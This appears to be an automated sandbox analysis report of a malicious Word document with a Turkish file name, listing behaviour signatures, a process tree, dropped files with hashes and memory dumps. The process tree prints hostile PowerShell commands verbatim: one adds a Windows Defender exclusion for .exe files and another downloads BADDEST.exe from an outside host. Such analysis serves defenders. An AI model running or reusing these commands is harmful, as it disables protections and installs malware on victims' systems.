Analysis

  • max time kernel
    120s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7-20220331-en
  • submitted
    05/04/2022, 17:48

General

  • Target
    TÜRKİYE MÜŞTERİDEN ÖRNEK SİPARİŞ.doc
  • Size 54KB
  • Sample220405-wdf3wsebgr
  • SHA256 43874a9fbb28f47bc007e30c0c5494bb292e376398db3c446aa8567f8a4a49b1
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 4 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Windows directory 14 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 40 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\TÜRKİYE MÜŞTERİDEN ÖRNEK SİPARİŞ.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1956
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:860
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Blocklisted process makes network request
      • Enumerates connected drives
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2012
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 22D915F8382E76205F51BAAA85DB3257
        2⤵
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:1528
        • C:\Windows\SysWOW64\ICACLS.EXE
          "C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-ca378cd6-80ea-4da1-8f79-7bd2855ef1fb\." /SETINTEGRITYLEVEL (CI)(OI)HIGH
          3⤵
          • Modifies file permissions
          PID:1928
        • C:\Windows\SysWOW64\EXPAND.EXE
          "C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files
          3⤵
          • Drops file in Windows directory
          PID:2008
        • C:\Users\Admin\AppData\Local\Temp\MW-ca378cd6-80ea-4da1-8f79-7bd2855ef1fb\files\BADDEST.exe
          "C:\Users\Admin\AppData\Local\Temp\MW-ca378cd6-80ea-4da1-8f79-7bd2855ef1fb\files\BADDEST.exe"
          3⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious use of WriteProcessMemory
          PID:1228
          • C:\Windows\system32\cmd.exe
            cmd /c jay.bat
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1484
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -command "Set-MpPreference -ExclusionExtension ".exe"
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1116
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -command "Invoke-WebRequest -uri https://graydonscrossing.com/VEE/BADDEST.exe -o BADDEST.exe"
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1412
        • C:\Windows\SysWOW64\ICACLS.EXE
          "C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-ca378cd6-80ea-4da1-8f79-7bd2855ef1fb\." /SETINTEGRITYLEVEL (CI)(OI)LOW
          3⤵
          • Modifies file permissions
          PID:1524
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c rd /s /q "C:\Users\Admin\AppData\Local\Temp\MW-ca378cd6-80ea-4da1-8f79-7bd2855ef1fb\files"
          3⤵
            PID:580

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            jay.bat

            • Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\jay.bat
            • Size 200B
            • SHA256 084c4e1a468c9cd2e47b103c2152ad96bebd48b5a20633c84ea8f468e3a4b670
            • MD5 SHA1 SHA512

            files.cab

            • Path C:\Users\Admin\AppData\Local\Temp\MW-ca378cd6-80ea-4da1-8f79-7bd2855ef1fb\files.cab
            • Size 151KB
            • SHA256 ea5373be802f70e431d3718f293c16ff05c1f8683f6c7621a20a3b7987474bc9
            • MD5 SHA1 SHA512 SSDEEP

            BADDEST.exe

            • Path C:\Users\Admin\AppData\Local\Temp\MW-ca378cd6-80ea-4da1-8f79-7bd2855ef1fb\files\BADDEST.exe
            • Size 151KB
            • SHA256 16810a489310baaf2af8502734bd0a82128719ac234153666ac453bca42f141b
            • MD5 SHA1 SHA512 SSDEEP

            BADDEST.exe

            • Path C:\Users\Admin\AppData\Local\Temp\MW-ca378cd6-80ea-4da1-8f79-7bd2855ef1fb\files\BADDEST.exe
            • Size 151KB
            • SHA256 16810a489310baaf2af8502734bd0a82128719ac234153666ac453bca42f141b
            • MD5 SHA1 SHA512 SSDEEP

            msiwrapper.ini

            • Path C:\Users\Admin\AppData\Local\Temp\MW-ca378cd6-80ea-4da1-8f79-7bd2855ef1fb\msiwrapper.ini
            • Size 1KB
            • SHA256 8cb19159d8d634565348f4df068fff544763cf4bc18037478f24c4e3a913626a
            • MD5 SHA1 SHA512

            msiwrapper.ini

            • Path C:\Users\Admin\AppData\Local\Temp\MW-ca378cd6-80ea-4da1-8f79-7bd2855ef1fb\msiwrapper.ini
            • Size 1KB
            • SHA256 76b7667896e3890a012895d43e1ed07191d6f9859e8befab9d7ed3d16024fffd
            • MD5 SHA1 SHA512

            590aee7bdd69b59b.customDestinations-ms

            • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
            • Size 7KB
            • SHA256 c1d781db3f4a550a71e861b762b1c2ab86e513e13840933bf99c764aa960f67a
            • MD5 SHA1 SHA512 SSDEEP

            MSIDCE9.tmp

            • Path C:\Windows\Installer\MSIDCE9.tmp
            • Size 208KB
            • SHA256 d01af2b8c692dffb04a5a04e3ccd0d0a3b2c67c8fc45a4b68c0a065b4e64cc3d
            • MD5 SHA1 SHA512 SSDEEP

            MSIF0D8.tmp

            • Path C:\Windows\Installer\MSIF0D8.tmp
            • Size 208KB
            • SHA256 d01af2b8c692dffb04a5a04e3ccd0d0a3b2c67c8fc45a4b68c0a065b4e64cc3d
            • MD5 SHA1 SHA512 SSDEEP

            MSIF213.tmp

            • Path C:\Windows\Installer\MSIF213.tmp
            • Size 208KB
            • SHA256 d01af2b8c692dffb04a5a04e3ccd0d0a3b2c67c8fc45a4b68c0a065b4e64cc3d
            • MD5 SHA1 SHA512 SSDEEP

            BADDEST.exe

            • Path \Users\Admin\AppData\Local\Temp\MW-ca378cd6-80ea-4da1-8f79-7bd2855ef1fb\files\BADDEST.exe
            • Size 151KB
            • SHA256 16810a489310baaf2af8502734bd0a82128719ac234153666ac453bca42f141b
            • MD5 SHA1 SHA512 SSDEEP

            MSIDCE9.tmp

            • Path \Windows\Installer\MSIDCE9.tmp
            • Size 208KB
            • SHA256 d01af2b8c692dffb04a5a04e3ccd0d0a3b2c67c8fc45a4b68c0a065b4e64cc3d
            • MD5 SHA1 SHA512 SSDEEP

            MSIF0D8.tmp

            • Path \Windows\Installer\MSIF0D8.tmp
            • Size 208KB
            • SHA256 d01af2b8c692dffb04a5a04e3ccd0d0a3b2c67c8fc45a4b68c0a065b4e64cc3d
            • MD5 SHA1 SHA512 SSDEEP

            MSIF213.tmp

            • Path \Windows\Installer\MSIF213.tmp
            • Size 208KB
            • SHA256 d01af2b8c692dffb04a5a04e3ccd0d0a3b2c67c8fc45a4b68c0a065b4e64cc3d
            • MD5 SHA1 SHA512 SSDEEP

            memory/860-60-0x000007FEFBF51000-0x000007FEFBF53000-memory.dmp

            memory/1116-82-0x0000000002880000-0x0000000002882000-memory.dmp

            memory/1116-86-0x000000000288B000-0x00000000028AA000-memory.dmp

            memory/1116-85-0x000000001B710000-0x000000001BA0F000-memory.dmp

            memory/1116-84-0x0000000002884000-0x0000000002887000-memory.dmp

            memory/1116-81-0x000007FEF3A10000-0x000007FEF456D000-memory.dmp

            memory/1116-83-0x0000000002882000-0x0000000002884000-memory.dmp

            memory/1412-95-0x00000000023AB000-0x00000000023CA000-memory.dmp

            memory/1412-93-0x00000000023A4000-0x00000000023A7000-memory.dmp

            memory/1412-94-0x000000001B760000-0x000000001BA5F000-memory.dmp

            memory/1412-90-0x000007FEF3070000-0x000007FEF3BCD000-memory.dmp

            memory/1412-91-0x00000000023A0000-0x00000000023A2000-memory.dmp

            memory/1412-92-0x00000000023A2000-0x00000000023A4000-memory.dmp

            memory/1956-54-0x0000000072A41000-0x0000000072A44000-memory.dmp

            memory/1956-62-0x00000000004F7000-0x00000000004FB000-memory.dmp

            memory/1956-61-0x00000000004F7000-0x00000000004FB000-memory.dmp

            memory/1956-58-0x00000000714AD000-0x00000000714B8000-memory.dmp

            memory/1956-57-0x0000000075B41000-0x0000000075B43000-memory.dmp

            memory/1956-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

            memory/1956-55-0x00000000704C1000-0x00000000704C3000-memory.dmp

            memory/1956-104-0x000000005FFF0000-0x0000000060000000-memory.dmp